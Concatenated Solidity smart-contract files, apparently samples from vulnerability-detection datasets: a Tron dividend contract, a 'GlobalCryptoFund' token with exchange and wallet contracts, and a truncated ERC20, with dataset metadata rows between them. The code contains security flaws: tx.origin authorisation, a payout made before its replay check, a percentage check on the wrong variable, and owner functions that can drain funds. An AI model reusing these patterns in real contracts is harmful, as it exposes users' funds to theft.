mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
//Dividend Tracker variables
mapping (address => uint256) public divPaidAllTime; //token address => amount. And address 0x0 for TRX
uint256 public voucherBurnedAtDivDistribution;
uint256 public totalDividendsPaidNumber;
mapping (address => uint256) public totalburnedVouchersTracker; //maps to user address => tracking of voucherBurnedAtDivDistribution at voucher burned
mapping (address => uint256) public noOfDivPaidAfterBurn; //maps to user address => tracking of totalDividendsPaidNumber while vouchers burn
mapping (address => uint256) public divPaidAllTimeUsersTRX; //maps to user address => trx amount
mapping (address => mapping(address => uint256)) public divPaidAllTimeUsersTRC20; //maps to user address => token address => token amount
mapping (address => uint256) public totalOption3BurnedVouchersTracker;
uint256 public totalTrxPaidUnderOption3;
//user withdraw dividend TRX
event DividendWithdrawTRX(address indexed user, uint256 indexed dividendAmountTRX);
//user withdraw TRC20
event DividendWithdrawTRC20(address user, address tokenAddress, uint256 dividendAmountTRC20);
//DividendPaid by admin in TRX
event DividendPaidTRX(uint256 indexed amount);
//DividendPaid by admin in TRC20
event DividendPaidTRC20(address tokenAddress, uint256 indexed amount);
constructor() public {
lastDividendPaidTime = now;
}
function () payable external {}
function distributeDividendTRX() public returns(uint256){
uint256 vouchersBurnedTotal = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
require(vouchersBurnedTotal > 0, 'none has burned the vouchers');
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
//calling voucher token contract to update mintingBasePricing
InterfaceVoucherTOKEN(voucherTokenContract).changeMintingBasePriceWhileDivDistro();
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
address gameAddress = whitelistCallerArray[i];
uint256 amount = InterfaceGAMES(gameAddress).getAvailableVoucherRake();
if(amount > 0){
//if status is true, which means particular game has positive dividend available
totalDividend += amount;
//we will request that dividend TRX from game contract to this token contract
require(InterfaceGAMES(gameAddress).requestVoucherRakePayment(), 'could not transfer trx');
}
}
lastDividendPaidTime = now;
if(totalDividend > 0 || dividendAccumulated > 0){
uint256 finalDividendAmount = totalDividend + dividendAccumulated;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
uint256 payableAmount = finalDividendAmount * divPercentageSUN / 100 / 1000000;
//if dividend % is less than 100%, then track that remainder in another variable
if(divPercentageSUN < 100000000){
dividendRemainder += finalDividendAmount * (100000000 - divPercentageSUN) / 100 / 1000000;
}
//update variables
dividendAccumulated = 0;
//update dividend trackers
dividendTrackerWhileDistribution(address(0), payableAmount, vouchersBurnedTotal);
emit DividendPaidTRX(payableAmount);
return payableAmount;
}
}
function distributeDividendTRC20() public returns(uint256){
address tokenAddress = topiaTokenContract;
//distributing trc20 will consider both burned tokens as well as total supply exist
uint256 currentVoucherSupply = InterfaceVoucherTOKEN(voucherTokenContract).totalSupply();
uint256 vouchersBurnedAllTime = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
uint256 dividedAmount = (currentVoucherSupply + vouchersBurnedAllTime) * 100;
//signer can call this function anytime
//but if he does not call it after 7 days, then anyone can call this and distribute the dividend.
//this is to increase trust in player community.
if(msg.sender != signer){
require(lastDividendPaidTime + 604800 < now, 'You need to wait 7 days to Do This');
}
require(InterfaceTopiaTOKEN(tokenAddress).transferFrom(owner, address(this), dividedAmount), 'could not transfer tokens');
require(dividedAmount > 0, 'dividedAmount cant be zero');
require((currentVoucherSupply + vouchersBurnedAllTime) > 0, 'There are no vouchers existed');
//update dividend trackers
dividendTrackerWhileDistribution(tokenAddress, dividedAmount, currentVoucherSupply + vouchersBurnedAllTime);
lastDividendPaidTime = now;
emit DividendPaidTRC20(tokenAddress, dividedAmount);
return dividedAmount;
}
function dividendTrackerWhileDistribution(address tokenAddress, uint256 dividedAmount, uint256 voucherBurnedCurrently) internal {
divPaidAllTime[tokenAddress] += dividedAmount; //address 0x0 for TRX
voucherBurnedAtDivDistribution += voucherBurnedCurrently;
totalDividendsPaidNumber++;
}
function updateDivPercentageSUN(uint256 newPercentSUN) public onlyOwner returns(string){
require(divPercentageSUN <= 100000000, 'percentage cant be more than 100%');
divPercentageSUN = newPercentSUN;
return "done";
}
function reInvestDividendRemainder() public payable onlyOwner returns(string){
require(dividendRemainder > 0 || msg.value > 0, 'dividendRemainder cant be zero');
dividendAccumulated = dividendRemainder + msg.value;
dividendRemainder=0;
return "dividendRemainder is sent to div pool";
}
function withdrawDividendsEverything() public returns(bool){
//tx.origin is because it will take original caller even if user is calling via another contract.
address user = tx.origin;
address tokenAddress = topiaTokenContract;
require(!globalHalt, 'Global halt is on');
uint256 outstandingDivTRX = userConfirmedDividendTRX(user);
uint256 outstandingDivTRC20 = userConfirmedDividendTRC20(user, tokenAddress);
//Updating user's dividend tracker START ---------------------
//these tracker variables will be used in calculating share percentage of div pool
totalburnedVouchersTracker[user] = voucherBurnedAtDivDistribution;
//this will track all the dividend distribution attempts.
noOfDivPaidAfterBurn[user] = totalDividendsPaidNumber;
//following will set value for each tokens and TRX at time of this action
//TRX withdraw tracked
divPaidAllTimeUsersTRX[user] = divPaidAllTime[address(0)];
//TRC20 withdraw tracked
divPaidAllTimeUsersTRC20[user][tokenAddress] = divPaidAllTime[tokenAddress];
//Updating user's dividend tracker END ---------------------
//withdraw any outstanding trx or trc20 tokens Start ---------------------
//TRX withdraw
if(outstandingDivTRX > 0){
user.transfer(outstandingDivTRX);
emit DividendWithdrawTRX(user, outstandingDivTRX);
}
//TRC20 Topia withdraw
if(outstandingDivTRC20 > 0){
InterfaceTopiaTOKEN(tokenAddress).transfer(user, outstandingDivTRC20);
emit DividendWithdrawTRC20(user, tokenAddress, outstandingDivTRC20);
}
//withdraw any outstanding trx or trc20 tokens END ---------------------
return true;
}
event payToUserForBurnVoucherOption3Ev(uint256 timeNow, address user, uint256 amount, uint256 option3Tracker);
function payToUserForBurnVoucherOption3(address user, uint256 amount, uint256 vouchersBurnedTotalInOption3) public returns(bool)
{
require(msg.sender == voucherTokenContract,"Invalid contract address");
uint256 outstandingDivTRX = userConfirmedDividendTRX(user);
require(amount <= outstandingDivTRX && outstandingDivTRX > 0, "Not enough trx to pay");
totalTrxPaidUnderOption3 = totalTrxPaidUnderOption3.add(amount);
user.transfer(amount);
require(vouchersBurnedTotalInOption3 > totalOption3BurnedVouchersTracker[user], "Looks already rewarded for this");
totalOption3BurnedVouchersTracker[user] = totalOption3BurnedVouchersTracker[user].add(vouchersBurnedTotalInOption3);
emit payToUserForBurnVoucherOption3Ev(now, user, amount, vouchersBurnedTotalInOption3);
return true;
}
function userConfirmedDividendTRX(address user) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
uint256 vouchersBurnedAllTime = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
//if there are more dividend distribution after user has frozen topia
uint256 divPaidAllTimeUsers = divPaidAllTimeUsersTRX[user];
if(divPaidAllTime[address(0)] > divPaidAllTimeUsers && userVouchersBurned > 0){
//finding all the subsequent dividends distributed by admin
//all three below trackers can never be zero due to above condition
uint256 newDividendPoolAmount = divPaidAllTime[address(0)] - divPaidAllTimeUsers;
uint256 totalVouchersBurned = voucherBurnedAtDivDistribution - totalburnedVouchersTracker[user];
uint256 totalNoOfDivPaid = totalDividendsPaidNumber - noOfDivPaidAfterBurn[user];
//first calculating user share percentage = user freeze tokens * 100 / total frozen tokens
//the reason for the decimals variable is to have sharePercentage variable have more decimals.
uint256 sharePercentage = userVouchersBurned * 100000000 / vouchersBurnedAllTime ;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 100000000){
return newDividendPoolAmount * sharePercentage / 100000000;
}
}
return 0;
//by default it will return zero
}
function userConfirmedDividendTRC20(address user, address tokenAddress) public view returns(uint256){
uint256 userVouchersBurned = InterfaceVoucherTOKEN(voucherTokenContract).usersVoucherBurnedAmount(user,0);
uint256 userVouchersBalanceOf = InterfaceVoucherTOKEN(voucherTokenContract).balanceOf(user);
userVouchersBurned = userVouchersBurned + userVouchersBalanceOf;
//if there are more dividend distribution after user has frozen topia
if(divPaidAllTime[tokenAddress] > divPaidAllTimeUsersTRC20[user][tokenAddress] && userVouchersBurned > 0){
//distributing trc20 will consider both burned tokens as well as total supply exist
uint256 currentVoucherSupply = InterfaceVoucherTOKEN(voucherTokenContract).totalSupply();
uint256 vouchersBurnedAllTime = InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0);
uint256 newDividendPoolAmount = divPaidAllTime[tokenAddress] - divPaidAllTimeUsersTRC20[user][tokenAddress];
uint256 totalVouchersBurned = currentVoucherSupply + vouchersBurnedAllTime;
uint256 sharePercentage = userVouchersBurned * 100 * 1000000 / totalVouchersBurned;
//now calculating final trx amount from (available dividend pool * share percentage / 100)
if(newDividendPoolAmount * sharePercentage > 0){
uint256 divAmount = newDividendPoolAmount * sharePercentage / 100 / 1000000;
//checking for diamond frozen bonus.
uint256 usersDiamondFrozen = InterfaceDiamondTOKEN(diamondTokenContract).usersDiamondFrozen(user);
if(usersDiamondFrozen >= requiredDiamondFrozenForBonus){
divAmount = (divAmount * 125) / 100 ; //if diamonds are frozen, then user will get 2x topia reward
}
return divAmount;
}
}
//by default it will return zero
}
function getDividendPotentialTRX() public view returns(uint256){
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVoucherRake();
if(amount > 0){
totalDividend += amount;
}
}
if(totalDividend > 0 || dividendAccumulated > 0){
return totalDividend + dividendAccumulated - totalTrxPaidUnderOption3 ;
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
//return (totalAmount * divPercentageSUN / 100 / 1000000);
}
//by default it returns zero
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
function manualWithdrawTokens(address tokenAddress, uint256 tokenAmount) public onlyOwner returns(string){
// no need for overflow checking as that will be done in transfer function
InterfaceTopiaTOKEN(tokenAddress).transfer(owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function manualWithdrawTRXAdmin(uint256 Amount) public onlyOwner returns (bool){
address(owner).transfer(Amount);
return true;
}
function changeGlobalHalt() onlyOwner public returns(string) {
if (globalHalt == false){
globalHalt = true;
}
else{
globalHalt = false;
}
return "globalHalt status changed";
}
function totalTRXbalanceContract() public view returns(uint256){
return address(this).balance;
}
function updateContractAddresses(address voucherTokenContract_, address topiaTokenContract_, address diamondTokenContract_) public onlyOwner returns(string){
voucherTokenContract = voucherTokenContract_;
topiaTokenContract = topiaTokenContract_;
diamondTokenContract = diamondTokenContract_;
return("contract addresses updated successfully");
}
function updateRequiredDiamondFrozenForBonus(uint256 newDiamondFrozenAmount) public onlyOwner returns(string){
requiredDiamondFrozenForBonus = newDiamondFrozenAmount;
return("requiredDiamondFrozenForBonus updated successfully");
}
function topiaNeededForDistro() public view returns(uint256){
return (InterfaceVoucherTOKEN(voucherTokenContract).totalSupply() + InterfaceVoucherTOKEN(voucherTokenContract).totalBurnIn(0)) * 100;
}
}
| 285,319 | 346 |
f056b13986d2339af9d2e6fbfd7197187a5517488c63a631e3f0d05c37d1302d
| 16,790 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb8c07c219202afd165b7ecfd5800b7e941338193.sol
| 4,697 | 15,880 |
//Copyright Global Invest Place Ltd.
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface GlobalToken {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner) ;
_;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
function contractVersion() constant returns(uint256) {
return 100201712010000;
}
}
// GlobalToken Interface
contract GlobalCryptoFund is Owned, GlobalToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public minter;
mapping (address => uint256) public balanceOf;
modifier onlyMinter {
require(msg.sender == minter);
_;
}
function setMinter(address _addressMinter) onlyOwner {
minter = _addressMinter;
}
function GlobalCryptoFund() {
name = "GlobalCryptoFund"; // Set the name for display purposes
symbol = "GCF"; // Set the symbol for display purposes
decimals = 18; // Amount of decimals for display purposes
totalSupply = 0; // Update total supply
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
}
function balanceOf(address _owner) constant returns (uint256 balance){
return balanceOf[_owner];
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(_to != address(this));
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2) returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
event Mint(address indexed from, uint256 value);
function mintToken(address target, uint256 mintedAmount) onlyMinter {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
Mint(target, mintedAmount);
}
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) onlyMinter returns (bool success) {
require (balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function kill() onlyOwner {
selfdestruct(owner);
}
function contractVersion() constant returns(uint256) {
return 200201712010000;
}
}
contract ExchangeManager is Owned {
using SafeMath for uint256;
GlobalCryptoFund public gcf;
ActualInfo[] public periods;
address[] public accounts;
struct ActualInfo {
uint256 ethAtThePeriod;
uint256 tokensAtThePeriod;
uint256 price;
uint256 ethForReederem;
}
uint256 ethTax;
uint256 tokenTax;
uint256 public currentPeriodPrice;
uint256 public marketCap;
modifier onlyReg {
require(isReg[msg.sender]);
_;
}
mapping (address => mapping (uint256 => uint256)) public buyTokens;
mapping (address => mapping (uint256 => uint256)) public sellTokens;
mapping (address => address) public myUserWallet;
mapping (address => bool) public isReg;
function ExchangeManager() {
gcf = GlobalCryptoFund(0x26F45379d3f581e09719f1dC79c184302572AF00);
require(gcf.contractVersion() == 200201712010000);
uint256 newPeriod = periods.length++;
ActualInfo storage info = periods[newPeriod];
info.ethAtThePeriod = 0;
info.tokensAtThePeriod = 0;
info.price = 10000000000000000;
info.ethForReederem = 0;
}
event TaxTillNow(uint256 _ethTx, uint256 _tokenTx);
function taxTillNow() onlyOwner returns (uint256 _ethTax, uint256 _tokenTax) {
TaxTillNow(ethTax, tokenTax);
return (ethTax, tokenTax);
}
event RegisterEvent(address indexed _person, address indexed _userWallet);
function Register() returns (address _userWallet) {
_userWallet = address(new UserWallet(this, gcf));
accounts.push(_userWallet);
UserWallet(_userWallet).transferOwnership(msg.sender);
isReg[_userWallet] = true;
myUserWallet[msg.sender] = _userWallet;
RegisterEvent(msg.sender, _userWallet);
return _userWallet;
}
function getActualPeriod() returns (uint256) {
return periods.length;
}
event ClosePeriodEvent(uint256 period, uint256 price, uint256 _marketCap, uint256 _ethForReederem);
function closePeriod(uint256 _price, uint256 _marketCap, uint256 _ethForReederem) onlyOwner {
uint256 period = getActualPeriod();
ActualInfo storage info = periods[period.sub(1)];
uint256 tokensAtThisPeriod = info.tokensAtThePeriod;
//set Prices at this period
info.price = _price;
//calculate how much eth must have at the contract for reederem
if(_ethForReederem != 0) {
info.ethForReederem = _ethForReederem;
} else {
info.ethForReederem = ((info.tokensAtThePeriod).mul(_price)).div(1 ether);
}
currentPeriodPrice = _price;
marketCap = _marketCap;
ClosePeriodEvent(period, info.price, marketCap, info.ethForReederem);
end();
}
function end() internal {
uint256 period = periods.length ++;
ActualInfo storage info = periods[period];
info.ethAtThePeriod = 0;
info.tokensAtThePeriod = 0;
info.price = 0;
info. ethForReederem = 0;
}
function getPrices() public returns (uint256 _Price) {
return currentPeriodPrice;
}
event DepositEvent(address indexed _from, uint256 _amount);
function() payable {
DepositEvent(msg.sender, msg.value);
}
event BuyEvent(address indexed _from, uint256 period, uint256 _amountEthers, uint256 _ethAtThePeriod);
function buy(uint256 _amount) onlyReg returns (bool) {
require(_amount > 0.01 ether);
uint256 thisPeriod = getActualPeriod();
thisPeriod = thisPeriod.sub(1);
uint256 tax = calculateTax(_amount);
ethTax = ethTax.add(tax);
uint256 _ethValue = _amount.sub(tax);
buyTokens[msg.sender][thisPeriod] = buyTokens[msg.sender][thisPeriod].add(_ethValue);
ActualInfo storage info = periods[thisPeriod];
info.ethAtThePeriod = info.ethAtThePeriod.add(_ethValue);
BuyEvent(msg.sender, thisPeriod, _amount, info.ethAtThePeriod);
return true;
}
event ReederemEvent(address indexed _from, uint256 period, uint256 _amountTokens, uint256 _tokensAtThePeriod);
function Reederem(uint256 _amount) onlyReg returns (bool) {
require(_amount > 0);
uint256 thisPeriod = getActualPeriod();
thisPeriod = thisPeriod.sub(1);
uint256 tax = calculateTax(_amount);
tokenTax = tokenTax.add(tax);
uint256 _tokensValue = _amount.sub(tax);
sellTokens[msg.sender][thisPeriod] = sellTokens[msg.sender][thisPeriod].add(_tokensValue);
ActualInfo storage info = periods[thisPeriod];
info.tokensAtThePeriod = info.tokensAtThePeriod.add(_tokensValue);
ReederemEvent(msg.sender, thisPeriod, _amount, info.tokensAtThePeriod);
return true;
}
event Tax(uint256 _taxPayment);
function calculateTax(uint256 _amount) internal returns (uint256 _tax) {
_tax = (_amount.mul(5)).div(100);
Tax(_tax);
return _tax;
}
event ClaimTokensEvent(address indexed _from, uint256 period, uint256 _tokensValue, uint256 _tokensPrice, uint256 _ethersAmount);
function claimTokens(uint256 _period) onlyReg returns (bool) {
require(periods.length > _period);
uint256 _ethValue = buyTokens[msg.sender][_period];
ActualInfo storage info = periods[_period];
uint256 tokenPrice = info.price;
uint256 amount = (_ethValue.mul(1 ether)).div(tokenPrice);
gcf.mintToken(this, amount);
buyTokens[msg.sender][_period] = 0;
ClaimTokensEvent(msg.sender, _period, _ethValue, tokenPrice, amount);
return GlobalToken(gcf).transfer(msg.sender, amount);
}
event ClaimEthersEvent(address indexed _from, uint256 period, uint256 _ethValue, uint256 _tokensPrice, uint256 _tokensAmount);
function claimEthers(uint256 _period) onlyReg returns (bool) {
require(periods.length > _period);
uint256 _tokensValue = sellTokens[msg.sender][_period];
ActualInfo storage info = periods[_period];
uint256 tokenPrice = info.price;
uint256 amount = (_tokensValue.mul(tokenPrice)).div(1 ether);
gcf.burn(_tokensValue);
msg.sender.transfer(amount);
sellTokens[msg.sender][_period] = 0;
ClaimEthersEvent(msg.sender, _period, _tokensValue, tokenPrice, amount);
return true;
}
event claimTaxex (uint256 _eth, uint256 _tokens);
function claimTax() onlyOwner {
if(ethTax != 0) {
transferEther(owner, ethTax);
claimTaxex(ethTax, 0);
ethTax = 0;
}
if(tokenTax != 0) {
transferTokens(owner, tokenTax);
claimTaxex(0, tokenTax);
tokenTax = 0;
}
}
function transferTokens(address _to, uint256 _amount) onlyOwner returns (bool) {
return GlobalToken(gcf).transfer(_to, _amount);
}
function transferEther(address _to, uint256 _amount) onlyOwner returns (bool) {
require(_amount <= (this.balance).sub(ethTax));
_to.transfer(_amount);
return true;
}
function contractVersion() constant returns(uint256) {
return 300201712010000;
}
function numAccounts() returns (uint256 _numAccounts) {
return accounts.length;
}
function kill() onlyOwner {
uint256 amount = GlobalToken(gcf).balanceOf(this);
transferTokens(owner, amount);
selfdestruct(owner);
}
}
library ConvertStringToUint {
function stringToUint(string _amount) internal constant returns (uint result) {
bytes memory b = bytes(_amount);
uint i;
uint counterBeforeDot;
uint counterAfterDot;
result = 0;
uint totNum = b.length;
totNum--;
bool hasDot = false;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
counterBeforeDot ++;
totNum--;
}
if(c == 46){
hasDot = true;
break;
}
}
if(hasDot) {
for (uint j = counterBeforeDot + 1; j < 18; j++) {
uint m = uint(b[j]);
if (m >= 48 && m <= 57) {
result = result * 10 + (m - 48);
counterAfterDot ++;
totNum--;
}
if(totNum == 0){
break;
}
}
}
if(counterAfterDot < 18){
uint addNum = 18 - counterAfterDot;
uint multuply = 10 ** addNum;
return result = result * multuply;
}
return result;
}
}
contract UserWallet is Owned {
using ConvertStringToUint for string;
using SafeMath for uint256;
ExchangeManager fund;
GlobalCryptoFund public gcf;
uint256[] public investedPeriods;
uint256[] public reederemPeriods;
mapping (uint256 => bool) isInvested;
mapping (uint256 => bool) isReederem;
function UserWallet(address _fund, address _token) {
fund = ExchangeManager(_fund);
require(fund.contractVersion() == 300201712010000);
gcf = GlobalCryptoFund(_token);
require(gcf.contractVersion() == 200201712010000);
}
function getPrices() onlyOwner returns (uint256 _Price) {
return fund.getPrices();
}
function getActualPeriod() onlyOwner returns (uint256) {
uint256 period = fund.getActualPeriod();
return period.sub(1);
}
event TokensSold(uint256 recivedEthers);
function() payable {
if(msg.sender == address(fund)) {
TokensSold(msg.value);
} else {
deposit(msg.value);
}
}
function deposit(uint256 _WeiAmount) payable returns (bool) {
fund.transfer(_WeiAmount);
fund.buy(_WeiAmount);
uint256 period = fund.getActualPeriod();
bool _isInvested = isInvest(period);
if(!_isInvested) {
investedPeriods.push(period.sub(1));
isInvested[period] = true;
}
return true;
}
function Reederem(string _amount) onlyOwner returns (bool) {
uint256 amount = _amount.stringToUint();
gcf.transfer(fund, amount);
uint256 period = fund.getActualPeriod();
bool _isReederemed = isReederemed(period);
if(!_isReederemed) {
reederemPeriods.push(period.sub(1));
isReederem[period] = true;
}
return fund.Reederem(amount);
}
function transferTokens() onlyOwner returns (bool) {
uint256 amount = GlobalToken(gcf).balanceOf(this);
return GlobalToken(gcf).transfer(owner, amount);
}
event userWalletTransferEther(address indexed _from, address indexed _to, uint256 _ethersValue);
function transferEther() onlyOwner returns (bool) {
uint256 amount = this.balance;
owner.transfer(amount);
userWalletTransferEther(this,owner,amount);
return true;
}
function claimTokens() onlyOwner {
uint256 period;
for(uint256 i = 0; i < investedPeriods.length; i++) {
period = investedPeriods[i];
fund.claimTokens(period);
}
investedPeriods.length = 0;
}
function claimEthers() onlyOwner {
uint256 period;
for(uint256 i = 0; i < reederemPeriods.length; i++) {
period = reederemPeriods[i];
fund.claimEthers(period);
}
reederemPeriods.length = 0;
}
function contractVersion() constant returns(uint256) {
return 400201712010000;
}
function kill() onlyOwner {
transferTokens();
transferEther();
selfdestruct(owner);
}
function isInvest(uint256 _per) internal returns (bool) {
return isInvested[_per];
}
function isReederemed(uint256 _per) internal returns (bool) {
return isReederem[_per];
}
}
| 202,863 | 347 |
dca15981f6b7309b93dd61a2f62299a24f0c0bccb535a83905dcd10e87f37ccf
| 17,722 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x763a67be94e2494dbffdcc62cee4ed8f761f6770.sol
| 2,995 | 10,424 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
